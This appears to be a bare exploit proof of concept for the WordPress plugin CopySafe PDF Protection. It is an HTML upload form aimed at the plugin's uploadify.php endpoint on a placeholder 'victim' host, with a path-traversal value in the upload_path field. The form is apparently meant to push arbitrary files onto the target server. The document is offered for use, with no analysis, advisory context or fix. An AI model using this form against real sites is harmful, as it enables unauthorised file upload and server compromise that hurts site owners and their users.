Exploit Wordpress Plugin CopySafe PDF Protection

<form action="http://victim/wp-content/plugins/wp-copysafe-pdf/lib/uploadify/uploadify.php" method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="wpcsp_file" ><br>
<input type=text name="upload_path" value="../../../../uploads/">
<input type="submit" name="submit" value="Submit">
</form>